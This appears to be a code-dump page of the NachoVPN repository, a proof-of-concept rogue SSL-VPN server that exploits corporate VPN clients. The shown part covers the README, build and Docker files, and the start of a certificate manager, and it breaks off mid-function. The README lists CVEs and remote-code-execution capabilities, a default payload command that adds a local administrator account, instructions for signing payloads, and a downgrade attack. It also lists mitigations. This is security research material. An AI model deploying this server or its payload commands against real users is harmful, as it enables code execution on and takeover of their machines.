Full Code of AmberWolfCyber/NachoVPN for AI

main f1e891f8b1af cached
72 files
410.4 KB
104.5k tokens
290 symbols
1 requests
Download .txt
Showing preview only (435K chars total). Download the full file or copy to clipboard to get everything.
Repository: AmberWolfCyber/NachoVPN
Branch: main
Commit: f1e891f8b1af
Files: 72
Total size: 410.4 KB

Directory structure:
gitextract_izup__0x/

├── .gitattributes
├── .github/
│   └── workflows/
│       └── build-docker.yml
├── .gitignore
├── Dockerfile
├── LICENSE
├── MANIFEST.in
├── README.md
├── docker-compose.yml
├── entrypoint.sh
├── requirements.txt
├── setup.py
└── src/
    └── nachovpn/
        ├── __init__.py
        ├── core/
        │   ├── __init__.py
        │   ├── cert_manager.py
        │   ├── db_manager.py
        │   ├── ip_manager.py
        │   ├── packet_handler.py
        │   ├── plugin_manager.py
        │   ├── request_handler.py
        │   ├── smb_manager.py
        │   └── utils.py
        ├── plugins/
        │   ├── __init__.py
        │   ├── base/
        │   │   ├── __init__.py
        │   │   ├── plugin.py
        │   │   └── templates/
        │   │       └── 404.html
        │   ├── cisco/
        │   │   ├── __init__.py
        │   │   ├── files/
        │   │   │   ├── OnConnect.sh
        │   │   │   ├── OnConnect.vbs
        │   │   │   └── OnDisconnect.vbs
        │   │   ├── plugin.py
        │   │   └── templates/
        │   │       ├── login.xml
        │   │       ├── prelogin.xml
        │   │       └── profile.xml
        │   ├── delinea/
        │   │   ├── __init__.py
        │   │   ├── plugin.py
        │   │   └── templates/
        │   │       ├── GetLauncherArguments.xml
        │   │       ├── GetNextProtocolHandlerVersion.xml
        │   │       ├── GetSymmetricKey.xml
        │   │       ├── UpdateStatusV2.xml
        │   │       └── index.html
        │   ├── example/
        │   │   ├── __init__.py
        │   │   └── plugin.py
        │   ├── netskope/
        │   │   ├── __init__.py
        │   │   ├── files/
        │   │   │   └── STAgent.msi
        │   │   ├── plugin.py
        │   │   └── templates/
        │   │       └── auth.html
        │   ├── paloalto/
        │   │   ├── __init__.py
        │   │   ├── msi_downloader.py
        │   │   ├── msi_patcher.py
        │   │   ├── pkg_generator.py
        │   │   ├── plugin.py
        │   │   └── templates/
        │   │       ├── getconfig.xml
        │   │       ├── prelogin.xml
        │   │       ├── pwresponse.xml
        │   │       ├── sslvpn-login.xml
        │   │       └── sslvpn-prelogin.xml
        │   ├── pulse/
        │   │   ├── __init__.py
        │   │   ├── config_generator.py
        │   │   ├── config_parser.py
        │   │   ├── funk_parser.py
        │   │   ├── plugin.py
        │   │   └── test/
        │   │       ├── example_rules.json
        │   │       └── test_policy.py
        │   └── sonicwall/
        │       ├── __init__.py
        │       ├── files/
        │       │   └── NACAgent.c
        │       ├── plugin.py
        │       └── templates/
        │           ├── launchextender.html
        │           ├── launchplatform.html
        │           ├── logout.html
        │           ├── welcome.html
        │           └── wxacneg.html
        └── server.py

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitattributes
================================================
* text=auto
*.sh text eol=lf

================================================
FILE: .github/workflows/build-docker.yml
================================================
name: Docker Build

on:
  push:
    branches: ['release']

env:
  REGISTRY: ghcr.io
  IMAGE_NAME: ${{ github.repository }}

jobs:
  build-and-push-image:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      packages: write
      attestations: write
      id-token: write
    steps:
      - name: Checkout repository
        uses: actions/checkout@v4
      - name: Log in to the Container registry
        uses: docker/login-action@65b78e6e13532edd9afa3aa52ac7964289d1a9c1
        with:
          registry: ${{ env.REGISTRY }}
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}

      - name: Extract metadata (tags, labels) for Docker
        id: meta
        uses: docker/metadata-action@9ec57ed1fcdbf14dcef7dfbe97b2010124a938b7
        with:
          images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
          tags: |
            type=ref,event=branch
            type=raw,value=latest

      - name: Build and push Docker image
        id: push
        uses: docker/build-push-action@f2a1d5e99d037542a71f64918e516c093c6f3fc4
        with:
          context: .
          push: true
          tags: ${{ steps.meta.outputs.tags }}
          labels: ${{ steps.meta.outputs.labels }}

================================================
FILE: .gitignore
================================================
# Ignore virtual environment directories
env/
venv/

# Ignore environment files
.env

# Ignore compiled Python files
*.pyc
__pycache__/

# Ignore log files and debugging artifacts
*.log

# Ignore coverage reports
.coverage
.coverage.*
htmlcov/
*.cover

# Ignore cache files and directories
*.egg-info/
.eggs/
*.egg
*.pyo
*.pyd
*.pdb
.cache/
*.pytest_cache/
*.zip

# Ignore distribution files
dist/
build/
*.wheel

# Ignore your specific directories
certs/
downloads/
payloads/
pcaps/

# Ignore testing artifacts
.tox/
.nox/
.pytest_cache/

# Ignore IDE/project-specific files
.vscode/
.idea/
*.iml

# Ignore database files
*.sqlite3
*.db

# Ignore temporary files
*.tmp
*.swp
*.swo
*.bak
*.orig
.DS_Store

================================================
FILE: Dockerfile
================================================
FROM ubuntu:jammy
WORKDIR /app

ENV PYTHONDONTWRITEBYTECODE=1
ENV PYTHONUNBUFFERED=1

RUN apt-get update && apt-get install -y --no-install-recommends \
    gcc \
    libffi-dev \
    libssl-dev \
    osslsigncode \
    msitools \
    mingw-w64 \
    gcc-mingw-w64 \
    python3 \
    python3-pip \
    python-is-python3 \
    python3-nftables \
    nftables \
    && apt-get clean && rm -rf /var/lib/apt/lists/*

COPY setup.py .
COPY MANIFEST.in .
COPY requirements.txt .
COPY src/ src/

RUN pip install --no-cache-dir -r requirements.txt
RUN pip install --no-cache-dir certbot

RUN python setup.py sdist bdist_wheel
RUN pip install --no-cache-dir dist/*.whl

EXPOSE 80
EXPOSE 443

COPY entrypoint.sh .
RUN chmod +x entrypoint.sh
ENTRYPOINT ["/bin/bash", "-c", "./entrypoint.sh"]

================================================
FILE: LICENSE
================================================
MIT License

Copyright (c) 2024 AmberWolf Ltd.

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

================================================
FILE: MANIFEST.in
================================================
recursive-include src/nachovpn/plugins **/templates/*
recursive-include src/nachovpn/plugins **/files/*

================================================
FILE: README.md
================================================
# NachoVPN 🌮🔒

<p align="center">
    <img src="logo.png">
</p>

<p align="center">
    <a href="LICENSE" alt="License: MIT">
        <img src="https://img.shields.io/badge/License-MIT-yellow.svg" /></a>
</p>

NachoVPN is a Proof of Concept that demonstrates exploitation of SSL-VPN clients, using a rogue VPN server.

It uses a plugin-based architecture so that support for additional SSL-VPN products can be contributed by the community. It currently supports various popular corporate VPN products, such as Cisco AnyConnect, SonicWall NetExtender, Palo Alto GlobalProtect, and Ivanti Connect Secure.

For further details, see our [blog post](https://blog.amberwolf.com/blog/2024/november/introducing-nachovpn---one-vpn-server-to-pwn-them-all/), and HackFest Hollywood 2024 presentation [[slides](https://github.com/AmberWolfCyber/presentations/blob/main/2024/Very%20Pwnable%20Networks%20-%20HackFest%20Hollywood%202024.pdf)|[video](https://www.youtube.com/watch?v=-MZfkmcZRVg)].

## Installation

### Prerequisites

* Python 3.9 or later
* Docker (optional)
* osslsigncode (Linux only)
* msitools (Linux only)
* python3-netfilter (Linux only)
* git

### Linux Setup

NachoVPN is built and tested on Ubuntu 22.04.

* Install `python3-nftables` and `nftables`
* Optionally use `setcap` to avoid `sudo` requirement:

  ```bash
  sudo setcap 'cap_net_raw,cap_net_bind_service,cap_net_admin=eip' /usr/bin/python3.10
  ```

* Enable IP forwarding:

  ```bash
  sudo sysctl -w net.ipv4.ip_forward=1
  ```

### Installing from source

NachoVPN can be installed from GitHub using pip. Note that this requires git to be installed.

First, create a virtual environment.

On Linux, ensure that the virtual env has access to the system `site-packages`, so that `nftables` works:

```bash
python3 -m venv env --system-site-packages
source env/bin/activate
```

On Windows, nftables (and thus packet forwarding) is disabled, so use:

```bash
python -m venv env
.\env\Scripts\activate
```

Then, install NachoVPN:

```bash
pip install git+https://github.com/AmberWolfCyber/NachoVPN.git
```

If you prefer to use Docker, then you can pull the container from the GitHub Container Registry:

```bash
docker pull ghcr.io/AmberWolfCyber/nachovpn:release
```

## Building for distribution

### Building a wheel file

First, clone this repository, and install `setuptools` and `wheel` via pip. You can then run the `setup.py` script:

```bash
git clone https://github.com/AmberWolfCyber/NachoVPN
pip install -U setuptools wheel
python setup.py bdist_wheel
```

This will generate a wheel file in the `dist` directory, which can be installed with pip:

```bash
pip install dist/nachovpn-1.0.0-py3-none-any.whl
```

### Building for local development

Alternatively, for local development you can install the package in editable mode using:

```bash
pip install -e .
```

### Building a container image

You can build the container image with the following command:

```bash
docker build -t nachovpn:latest .
```

## Running

To run the server as standalone, use:

```
python -m nachovpn.server
```

Alternatively, you can run the server using Docker:

```bash
docker run -e SERVER_FQDN=connect.nachovpn.local -e EXTERNAL_IP=1.2.3.4 -v ./certs:/app/certs -p 80:80 -p 443:443 --rm -it nachovpn
```

This will generate a certificate for the `SERVER_FQDN` using certbot, and save it to the `certs` directory, which we've mounted into the container.

Alternatively, for testing purposes, you can skip the certificate generation by setting the `SKIP_CERTBOT` environment variable.

This will generate a self-signed certificate instead.

```bash
docker run -e SERVER_FQDN=connect.nachovpn.local -e SKIP_CERTBOT=1 -e EXTERNAL_IP=1.2.3.4 -p 443:443 --rm -it nachovpn
```

An example [docker-compose file](docker-compose.yml) is also provided for convenience.

### Debugging

You can run `nachovpn` with the `-d` or `--debug` command line arguments in order to increase the verbosity of logging, which can aid in debugging.

Alternatively, if the logging is too noisy, you can use the `q` or `--quiet` command line argument instead.

### Plugins

NachoVPN supports the following plugins and capabilities:

| Plugin | Product | CVE | Windows RCE | macOS RCE | Privileged | URI Handler | Packet Capture | Demo |
| -------- | ----------- | -------- | -------- | -------- | -------- | -------- | -------- | ---- |
| Cisco | Cisco AnyConnect | N/A | ✅ | ✅ | ❌ | ❌ | ✅ | [Windows](https://vimeo.com/1024773762) / [macOS](https://vimeo.com/1024773668) |
| SonicWall | SonicWall NetExtender | [CVE-2024-29014](https://blog.amberwolf.com/blog/2024/november/sonicwall-netextender-for-windows---rce-as-system-via-epc-client-update-cve-2024-29014/) | ✅ | ❌ | ✅ | ✅ | ❌ | [Windows](https://vimeo.com/1024774407) |
| PaloAlto | Palo Alto GlobalProtect | [CVE-2024-5921](https://blog.amberwolf.com/blog/2024/november/palo-alto-globalprotect---code-execution-and-privilege-escalation-via-malicious-vpn-server-cve-2024-5921/) [(partial fix)](https://blog.amberwolf.com/blog/2025/august/nachovpn-update---palo-alto-globalprotect/) | ✅ | ✅ | ✅ | ❌ | ✅ | [Windows](https://vimeo.com/1024774239) / [macOS](https://vimeo.com/1024773987) / [iOS](https://vimeo.com/1024773956) |
| PulseSecure | Ivanti Connect Secure | [CVE-2020-8241 (bypassed)](https://blog.amberwolf.com/blog/2025/july/nachovpn-update---ivanti-connect-secure/) | ✅ | ✅ | ✅ | ✅ (Windows only - disabled by default in [22.8R1](https://help.ivanti.com/ps/help/en_US/ISAC/22.X/rn-22.X/noteworthy-information.htm)) | ✅ | [Windows](https://vimeo.com/1024773914) |
| Netskope | Netskope | [CVE-2025-0309](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/) | ✅ | ❌ | ✅ | ❌ | ❌ | [Windows](https://vimeo.com/1114191607) |
| Delinea | Protocol Handler | [CVE-2026-????](https://blog.amberwolf.com/blog/2026/february/delinea-protocol-handler---return-of-the-msi/) | ✅ | ✅ | ❌ | ✅ | ❌ | [Windows](https://vimeo.com/1168821295) |

#### URI handlers

* The Ivanti Connect Secure (Pulse Secure) URI handler can be triggered by visiting the `/pulse` URL on the NachoVPN server.
* The SonicWall NetExtender URI handler can be triggered by visiting the `/sonicwall` URL on the NachoVPN server. This requires that the SonicWall Connect Agent is installed on the client machine.
* The Delinea URI handler can be triggered by visiting the `/delinea` URL on the NachoVPN server.

#### Operating Notes

* It is recommended to use a TLS certificate that is signed by a trusted Certificate Authority. The docker container automates this process for you, using certbot. If you do not use a trusted certificate, then NachoVPN will generate a self-signed certificate instead, which in most cases will either cause the client to prompt with a certificate warning, or it will refuse to connect unless you modify the client settings to accept self-signed certificates. For the Palo Alto GlobalProtect plugin, this will also cause the MSI installer to fail.
* In order to simulate a valid codesigning certificate for the SonicWall plugin, NachoVPN will sign the `NACAgent.exe` payload with a self-signed certificate. For testing purposes, you can download and install this CA certificate from `/sonicwall/ca.crt` before triggering the exploit. For production use-cases, you will need to obtain a valid codesigning certificate from a public CA, sign your `NACAgent.exe` payload, and place it in the `payloads` directory (or volume mount it into `/app/payloads`, if using docker).
* For convenience, a default `NACAgent.exe` payload is generated for the SonicWall plugin, and written to the `payloads` directory. This simply spawns a new `cmd.exe` process on the current user's desktop, running as `SYSTEM`.
* The Palo Alto GlobalProtect plugin requires that the MSI installers and `msi_version.txt` file are present in the `downloads` directory. Either add these manually, or run the `msi_downloader.py` script to download them.
* To perform the Palo Alto GlobalProtect downgrade attack, ensure that the `GlobalProtect.msi.old` and `GlobalProtect64.msi.old` are present in the `downloads` folder. These files should contain the *unmodified* MSI installers for a version *prior* to 6.2.6 (e.g. 6.2.5).

#### Disabling a plugin

To disable a plugin, add it to the `DISABLED_PLUGINS` environment variable. For example:

```bash
DISABLED_PLUGINS=CiscoPlugin,SonicWallPlugin
```

### Environment Variables

NachoVPN is configured using environment variables. This makes it easily compatible with containerised deployments.

Global environment variables:

| Variable | Description | Default |
| -------- | ----------- | ------- |
| `SERVER_FQDN` | The fully qualified domain name of the server. | `connect.nachovpn.local` |
| `EXTERNAL_IP` | The external IP address of the server. | `127.0.0.1` |
| `WRITE_PCAP` | Whether to write captured PCAP files to disk. | `false` |
| `DISABLED_PLUGINS` | A comma-separated list of plugins to disable. | |
| `USE_DYNAMIC_SERVER_THUMBPRINT` | Whether to calculate the server certificate thumbprint dynamically from the server (useful if behind a proxy). | `false` |
| `SERVER_SHA1_THUMBPRINT` | Allows overriding the calculated SHA1 thumbprint for the server certificate. | |
| `SERVER_MD5_THUMBPRINT` | Allows overriding the calculated MD5 thumbprint for the server certificate. | |
| `SMB_ENABLED` | Enables the SMB share, available via the tunnel at `\\10.10.0.1\<SMB_SHARE_NAME>` | `false` |
| `SMB_SHARE_NAME` | The name to use for the SMB share | `SHARE` |
| `SMB_SHARE_PATH` | The path to the directory to use for the SMB share | `smb` |
| `TUNNEL_PRIVATE` | When set to `true`, enables tunneling but disables internet forwarding for VPN clients. Clients can only access the SMB share. | `false` |
| `TUNNEL_FULL` | When set to `true`, enables full tunneling and allows VPN clients to access the internet. Also implies `TUNNEL_PRIVATE=true`. | `false` |

Plugin specific environment variables:

| Variable | Description | Default |
| -------- | ----------- | ------- |
| `VPN_NAME` | The name of the VPN profile, which is presented to the client for Cisco AnyConnect. | `NachoVPN` |
| `PULSE_LOGON_SCRIPT` | The path to the Pulse Secure logon script. | `C:\Windows\System32\calc.exe` |
| `PULSE_LOGON_SCRIPT_MACOS` | The path to the Pulse Secure logon script for macOS. | |
| `PULSE_DNS_SUFFIX` | The DNS suffix to be used for Pulse Secure connections. | `nachovpn.local` |
| `PULSE_USERNAME` | The username to be pre-filled in the Pulse Secure logon dialog. | |
| `PULSE_SAVE_CONNECTION` | Whether to save the Pulse Secure connection in the user's client. | `false` |
| `PULSE_ANONYMOUS_AUTH` | Whether to use anonymous authentication for Pulse Secure connections. If set to `true`, the user will not be prompted for a username or password. | `false` |
| `PULSE_HOST_CHECKER_RULES_FILE` | A JSON file containing a list of registry-based host-checker rules for ICS. See example in `src/nachovpn/plugins/pulse/test/example_rules.json` | |
| `PALO_ALTO_MSI_ADD_FILE` | The path to a file to be added to the Palo Alto installer MSI. | |
| `PALO_ALTO_MSI_COMMAND` | The command to be executed by the Palo Alto installer MSI. | `net user pwnd Passw0rd123! /add && net localgroup administrators pwnd /add` |
| `PALO_ALTO_FORCE_PATCH` | Whether to force the patching of the MSI installer if it already exists in the payloads directory. | `false` |
| `PALO_ALTO_PKG_COMMAND` | The command to be executed by the Palo Alto installer PKG on macOS. | `touch /tmp/pwnd` |
| `CISCO_COMMAND_WIN` | The command to be executed by the Cisco AnyConnect OnConnect.vbs script on Windows. | `calc.exe` |
| `CISCO_COMMAND_MACOS` | The command to be executed by the Cisco AnyConnect OnConnect.sh script on macOS. | `touch /tmp/pwnd` |

## Mitigations

We recommend the following mitigations:

* Ensure SSL-VPN clients are updated to the latest version available from the vendor.
* Most VPN clients support the concept of locking down the VPN profile to a specific endpoint, or using an always-on VPN mode. This should be enabled where possible.
* Unfortunately, in some cases this lockdown can be removed by a malicious local user, therefore it is also recommended to use host-based firewall rules to restrict the IP addresses that the VPN client can communicate with.
* Consider using an Application Control policy, such as WDAC, or an EDR solution to ensure that only approved executables and scripts can be executed by the VPN client.
* Detect and alert on VPN clients executing non-standard child processes.

## References

* [AmberWolf Blog: NachoVPN](https://blog.amberwolf.com/blog/2024/november/introducing-nachovpn---one-vpn-server-to-pwn-them-all/)
* [HackFest Hollywood 2024: Very Pwnable Networks: Exploiting the Top Corporate VPN Clients for Remote Root and SYSTEM Shells, Rich Warren & David Cash](https://github.com/AmberWolfCyber/presentations/blob/main/2024/Very%20Pwnable%20Networks%20-%20HackFest%20Hollywood%202024.pdf) [[video](https://www.youtube.com/watch?v=-MZfkmcZRVg)]
* [BlackHat 2008: Leveraging the Edge: Abusing SSL VPNs, Mike Zusman](https://www.blackhat.com/presentations/bh-usa-08/Zusman/BH_US_08_Zusman_SSL_VPN_Abuse.pdf)
* [BlackHat 2019: Infiltrating Corporate Intranet Like NSA, Orange Tsai & Meh Chang](https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf)
* [NCC Group: Making New Connections: Leveraging Cisco AnyConnect Client to Drop and Run Payloads, David Cash & Julian Storr](https://www.nccgroup.com/uk/research-blog/making-new-connections-leveraging-cisco-anyconnect-client-to-drop-and-run-payloads/)
* [The OpenConnect Project](https://www.infradead.org/openconnect/)

## Contributing

We welcome contributions! Please open an issue or raise a Pull Request.

If you're interested in developing a new plugin, you can take a look at the [ExamplePlugin](src/nachovpn/plugins/example/plugin.py) to get started.

## License

NachoVPN is licensed under the MIT license. See the [LICENSE](LICENSE) file for details.


================================================
FILE: docker-compose.yml
================================================
services:
  nachovpn:
    container_name: nachovpn
    build:
      context: .
      dockerfile: Dockerfile
    restart: unless-stopped
    ports:
      - "443:443"
      - "80:80"
    volumes:
      - ./certs/:/app/certs/
      - ./payloads/:/app/payloads/
      - ./downloads/:/app/downloads/
      - ./payloads/:/app/payloads/
    environment:
      - SERVER_FQDN=${SERVER_FQDN:-}
      - EXTERNAL_IP=${EXTERNAL_IP:-}
      - SKIP_CERTBOT=${SKIP_CERTBOT:-}
    networks:
      - backend

networks:
  backend:

================================================
FILE: entrypoint.sh
================================================
#!/bin/bash

#if [[ -z "${SERVER_FQDN}" ]]; then
#  echo "Error: SERVER_FQDN is not set or is empty"
#  exit 1
#fi

#if [[ -z "${EXTERNAL_IP}" ]]; then
#  echo "Error: EXTERNAL_IP is not set or is empty"
#  exit 1
#fi

CERT_PATH="/app/certs/server-dns.crt"
KEY_PATH="/app/certs/server-dns.key"

if [[ -n "${SKIP_CERTBOT}" ]]; then
  echo "SKIP_CERTBOT is set. Skipping Certbot execution."
elif [[ -n "${WEBSITE_HOSTNAME}" ]]; then
  echo "WEBSITE_HOSTNAME is set. Skipping Certbot execution."
elif [[ -f "$CERT_PATH" && -f "$KEY_PATH" ]]; then
  echo "Certificate and key already exist. Skipping Certbot execution."
else
  # Request a certificate from letsencrypt
  certbot certonly \
    --standalone \
    --preferred-challenges http-01 \
    --register-unsafely-without-email \
    --agree-tos \
    --non-interactive \
    --no-eff-email \
    --domain "$SERVER_FQDN"

  if [[ $? -eq 0 ]]; then
    echo "Certificate successfully generated."

    # Copy the certs
    cp "/etc/letsencrypt/live/$SERVER_FQDN/fullchain.pem" "$CERT_PATH"
    cp "/etc/letsencrypt/live/$SERVER_FQDN/privkey.pem" "$KEY_PATH"

    echo "Certificate and key copied to:"
    echo "  Certificate: $CERT_PATH"
    echo "  Key: $KEY_PATH"
  else
    echo "Certbot failed to generate the certificate."
    exit 2
  fi
fi

# Build CLI arguments
CLI_ARGS=""

# Check for SERVER_PORT or WEBSITE_HOSTNAME (implies port 80)
if [[ -n "${SERVER_PORT}" ]]; then
  CLI_ARGS="$CLI_ARGS --port $SERVER_PORT"
elif [[ -n "${WEBSITE_HOSTNAME}" ]]; then
  CLI_ARGS="$CLI_ARGS --port 80"
fi

# Check for DISABLE_TLS or WEBSITE_HOSTNAME (implies no TLS)
if [[ -n "${DISABLE_TLS}" || -n "${WEBSITE_HOSTNAME}" ]]; then
  CLI_ARGS="$CLI_ARGS --no-tls"
fi

echo "Starting nachovpn server with arguments: $CLI_ARGS"
exec python -m nachovpn.server $CLI_ARGS

================================================
FILE: requirements.txt
================================================
blinker==1.7.0
certifi>=2024.2.2
cffi==1.16.0
charset-normalizer==3.3.2
click==8.1.7
colorama==0.4.6
cryptography==42.0.5
Flask==3.0.2
idna==3.6
itsdangerous==2.1.2
Jinja2==3.1.3
MarkupSafe==2.1.5
pycparser==2.21
requests==2.31.0
urllib3==2.2.1
Werkzeug==3.0.1
scapy==2.5.0
pycryptodome==3.20.0
pem==23.1.0
cabarchive==0.2.4
PyJWT==2.10.1
pyroute2==0.9.2
impacket==0.12.0

================================================
FILE: setup.py
================================================
from setuptools import setup, find_packages

setup(
    name="nachovpn",
    version="1.0.0",
    package_dir={"": "src"},
    packages=find_packages(where="src"),
    include_package_data=True,
    install_requires=[
        "cryptography==42.0.5",
        "jinja2>=3.0.0",
        "scapy>=2.5.0",
        "requests>=2.31.0",
        "flask>=3.0.2",
        "cabarchive>=0.2.4",
        "pycryptodome>=3.20.0",
        "PyJWT>=2.10.1",
        "pyroute2>=0.9.2",
    ],
    python_requires=">=3.9",
    description="A delicious, but malicious SSL-VPN server",
    entry_points={
        "console_scripts": [
            "nachovpn=nachovpn.server:main",
        ],
    },
)


================================================
FILE: src/nachovpn/__init__.py
================================================


================================================
FILE: src/nachovpn/core/__init__.py
================================================


================================================
FILE: src/nachovpn/core/cert_manager.py
================================================
from cryptography import x509
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID, ObjectIdentifier
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa, ec, padding

import logging
import datetime
import hashlib
import ipaddress
import socket
import certifi
import ssl
import os

class CertManager:
    def __init__(self, cert_dir=os.path.join(os.getcwd(), 'certs'), ca_common_name="VPN Root CA"):
        self.cert_dir = cert_dir
        os.makedirs(cert_dir, exist_ok=True)
        self.ca_common_name = ca_common_name
        self.server_thumbprint = {}
        self.dns_name = os.getenv('SERVER_FQDN', socket.gethostname())
        self.ip_address = os.getenv('EXTERNAL_IP', socket.gethostbyname(socket.gethostname()))

    def setup(self):
        """Setup the certificates and load the SSL context"""
        self.load_ca_certificate()
        self.load_dns_certificate()
        self.load_ip_certificate()
        self.create_ssl_context()

        # server thumbprint is a dictionary with sha1 and md5 hashes of the DNS cert
        self.server_thumbprint = self.get_cert_thumbprint(self.dns_cert_path)

    def create_ssl_context(self):
        """Create SSL context with SNI support and proper TLS configuration"""
        self.ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)

        def sni_callback(sslsocket, sni_name, sslcontext):
            try:
                if not sni_name:
                    sslsocket.context = self.ssl_context
                    return None

                logging.debug(f"SNI hostname requested: {sni_name}")

                # Create a new context for this connection
                ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)

                if sni_name == self.dns_name:
                    ctx.load_cert_chain(self.dns_cert_path, self.dns_key_path)
                else:
                    ctx.load_cert_chain(self.ip_cert_path, self.ip_key_path)

                # Set the new context
                sslsocket.context = ctx

            except Exception as e:
                logging.error(f"Error in SNI callback: {e}")
            return None

        # Set the SNI callback
        self.ssl_context.sni_callback = sni_callback

        # Load default certificate (IP cert)
        self.ssl_context.load_cert_chain(
            certfile=self.ip_cert_path, 
            keyfile=self.ip_key_path
        )

        return self.ssl_context

    def load_ip_certificate(self):
        """Load or generate a certificate for the server's external IP address"""
        self.ip_cert_path = os.path.join(self.cert_dir, f"server-ip.crt")
        self.ip_key_path = os.path.join(self.cert_dir, f"server-ip.key")
        if os.path.exists(self.ip_cert_path) and os.path.exists(self.ip_key_path) \
            and self.cert_is_valid(self.ip_cert_path, self.ip_address):
            logging.info(f"Using existing certificate for: {self.ip_address}")
            return self.ip_cert_path, self.ip_key_path
        else:
            logging.info(f"Generating new certificate for: {self.ip_address}")
        return self.generate_server_certificate(self.ip_cert_path, self.ip_key_path, self.ip_address,
                                        additional_ekus=[ObjectIdentifier('1.3.6.1.5.5.7.3.5')],
                                        additional_sans=[x509.IPAddress(ipaddress.IPv4Address(self.ip_address)),
                                                        x509.DNSName(self.dns_name)])

    def load_dns_certificate(self):
        """Load or generate a certificate for the server's DNS name"""
        # this certificate may be volume mounted (e.g. when using certbot outside of the container)
        self.dns_cert_path = os.path.join(self.cert_dir, f"server-dns.crt")
        self.dns_key_path = os.path.join(self.cert_dir, f"server-dns.key")
        if os.path.exists(self.dns_cert_path) and os.path.exists(self.dns_key_path) \
            and self.cert_is_valid(self.dns_cert_path, self.dns_name):
            logging.info(f"Using existing certificate for: {self.dns_name}")
            return self.dns_cert_path, self.dns_key_path
        else:
            logging.info(f"Generating new certificate for: {self.dns_name}")
        return self.generate_server_certificate(self.dns_cert_path, self.dns_key_path, self.dns_name, 
                                        additional_sans=[x509.DNSName(self.dns_name)])

    def load_ca_certificate(self):
        """Load or generate the CA certificate"""
        self.ca_cert_path = os.path.join(self.cert_dir, 'ca.crt')
        self.ca_key_path = os.path.join(self.cert_dir, 'ca.key')
        if os.path.exists(self.ca_cert_path) and os.path.exists(self.ca_key_path):
            with open(self.ca_cert_path, 'rb') as f:
                self.ca_cert = x509.load_pem_x509_certificate(f.read(), default_backend()) 
            with open(self.ca_key_path, 'rb') as f:
                self.ca_key = serialization.load_pem_private_key(f.read(), password=None, backend=default_backend())
            return self.ca_cert_path, self.ca_key_path
        else:
            return self.generate_ca_certificate()

    def cert_is_valid(self, cert_path, common_name):
        """Check if the certificate is valid"""

        # skip certificate validation if we're overriding the thumbprint or retrieving it dynamically from the server
        # this allows us to keep serving our origin certificate while advertising the proxy thumbprint
        # this is needed for certain proxies which require the origin has a valid certificate
        # if we didn't do this, the cert manager would detect a mismatch and re-generate the certificate
        if os.getenv('USE_DYNAMIC_SERVER_THUMBPRINT', 'false').lower() == 'true' or \
            os.getenv('SERVER_SHA1_THUMBPRINT', '') != '' or \
            os.getenv('SERVER_MD5_THUMBPRINT', '') != '':
            return True

        with open(cert_path, 'rb') as f:
            cert = x509.load_pem_x509_certificate(f.read(), default_backend())

        date_valid = (cert.not_valid_before_utc \
            <= datetime.datetime.now(datetime.timezone.utc) \
            <= cert.not_valid_after_utc)

        if not date_valid:
            logging.error(f"Certificate for {common_name} is expired")
            return False

        cert_common_name = cert.subject.get_attributes_for_oid(NameOID.COMMON_NAME)[0].value
        name_valid = cert_common_name == common_name

        if not name_valid:
            logging.error(f"Certificate for {cert_common_name} is not valid for {common_name}")
            return False

        # check if the issuer Common Name matches our self-signed CA
        # if the issuer name matches, but the cert is not validly signed by the current CA, return False
        # this helps to identify stale certificates when the CA certificate has been re-generated
        if cert.issuer.get_attributes_for_oid(NameOID.COMMON_NAME)[0].value == self.ca_common_name:
            try:
                self.ca_cert.public_key().verify(
                    cert.signature,
                    cert.tbs_certificate_bytes,
                    padding.PKCS1v15(),
                    cert.signature_hash_algorithm,
                )
                logging.info(f"Certificate is validly signed by our CA. Will not re-generate.")
            except Exception as e:
                logging.warning(f"Certificate is not validly signed by the current CA: {e}. Will re-generate.")
                return False
        else:
            # if the cert wasn't issued by our CA, then it's probably been signed by a public CA,
            # such as Let's Encrypt, and we should not re-generate it.
            # TODO: we may wish to check that the cert chains to a trusted root CA in the future,
            # but it doesn't really matter for our use case
            logging.warning(f"Certificate was not issued by our CA. Will not re-generate.")
            return True

        return True

    def get_thumbprint_from_server(self, server_address):
        """Get the certificate thumbprint from a server"""
        try:
            context = ssl.create_default_context()
            with socket.create_connection((server_address, 443), timeout=5) as sock:
                with context.wrap_socket(sock, server_hostname=server_address) as wrapped_sock:
                    der_cert = wrapped_sock.getpeercert(binary_form=True)
                    thumbprint_sha1 = hashlib.sha1(der_cert).hexdigest().upper()
                    thumbprint_md5 = hashlib.md5(der_cert).hexdigest().upper()
                    return {'sha1': thumbprint_sha1, 'md5': thumbprint_md5}
        except (socket.timeout, ssl.SSLError, ssl.CertificateError, OSError) as e:
            logging.error(f"Error getting thumbprint from server {server_address}: {e}")
            return None

    def get_cert_thumbprint(self, cert_path):
        """Calculate the certificate thumbprint"""
        with open(cert_path, 'rb') as f:
            cert = x509.load_pem_x509_certificate(f.read(), default_backend())

